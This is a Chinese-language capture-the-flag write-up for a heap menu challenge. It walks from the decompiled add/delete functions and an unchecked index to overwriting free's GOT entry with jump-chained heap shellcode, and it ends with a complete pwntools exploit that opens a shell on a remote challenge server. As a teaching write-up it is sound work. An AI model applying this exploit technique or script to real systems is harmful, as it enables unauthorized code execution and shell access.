checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
发现没有开启NX,因此很有可能是要我们将shellcode写入某个地方并执行
具体分析
是一个经典的Menu型题目
对该程序进行大概分析后发现主要实现了两个主要功能,一个是add,一个是delete。
add
int Add()
{
int size; // eax
int id; // [rsp+8h] [rbp-8h]
unsigned int Size; // [rsp+Ch] [rbp-4h]
size = tot;
if ( tot >= 0 )
{
size = tot;
if ( tot <= 11 )
{
printf("index:");
id = ReadInt();
printf("size:");
size = ReadInt();
Size = size;
if ( size >= 0 && size <= 8 )
{
heap_ptrs[id] = malloc(size);
if ( !heap_ptrs[id] )
{
puts("malloc error");
exit(0);
}
printf("content:");
ReadString(heap_ptrs[id], Size);
size = tot++ + 1;
}
}
}
return size;
}
add主要是malloc一个chunk后将指针记录到表单中,显然id
变量没有限制范围,所以可以造成任意地址写。
delete
void Delete()
{
int id; // ST0C_4
printf("index:");
id = ReadInt();
free((void *)heap_ptrs[id]);
}
显然存在一个double free,但是后面并没有用到这个漏洞
由于add函数中我们可以控制任意地址写,所以我们可以考虑将free
函数的got表改成system/execv
,这样在堆中的某个chunk存入一个/bin/sh
字符串,并free这个chunk即可拿到shell。
如果用泄露真实地址算偏移的方式来做会比较麻烦……所以这里考虑使用syscall
来调用execv
syscall的构造
对于本题来说,我们需要用syscall来调用execv函数。所以该流程转化的汇编代码如下:
mov rdi,xxx xxx为"/bin/sh"的地址
mov rsi,0
mov rdx,0
mov eax,0x3B 0x3B是64位程序中execv函数调用号
syscall
题目中的堆限制我们只能输入7位(还有一位为换行,最后这一位会被置0),所以malloc的每一个chunk都只能存入7位的shellcode。因此对于每一个chunk我们预留一定空间存入跳转指令:
jmp short xxx
这条指令的机器码为\xEB\xXX
其中XX=目标地址-"\xEB"的地址-2
要注意的是chunk的物理地址是在一起的,对于两个相邻的chunk1,chunk2,如果输入的size都是8个字节,那么其实两个chunk的真实大小都是32个字节:8字节pre_size,8字节size,16字节的数据空间(因为malloc(8)
最终还是会分配16字节数据空间,但是由于输入的长度由size限制,所以我们只能输入8字节),而我们每次add操作输入的内容都会被存到第三个“8字节”的空间中。
所以计算相邻两个chunk的shellcode偏移 可以知道我们的jmp指令的机器码应该为\xEB\x19
为了节省shellcode空间,所以用xor
指令代替mov register,0
exp
from pwn import *
import hashlib
context.update(arch='amd64',log_level='debug')
#p=process("./pwn")
p=remote('111.198.29.45',56868)
elf=ELF('./pwn')
heap_start=0x2020A0
def add(index,content):
p.recvuntil("your choice>> ")
p.sendline("1")
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("size")
p.sendline("8")
p.recvuntil("content:")
p.sendline(content)
def delete(index):
p.recvuntil("your choice>> ")
p.sendline("4")
p.recvuntil("index:")
p.sendline(str(index))
add(0,'/bin/sh')
add((elf.got['free']-heap_start)/8,asm('xor rsi,rsi')+'\x90\x90\xEB\x19')
add(1,asm('mov eax,0x3b')+'\xEB\x19')
add(2,asm('xor rdx,rdx')+'\x90\x90\xEB\x19')
add(4,asm('syscall'))
delete(0)
p.interactive()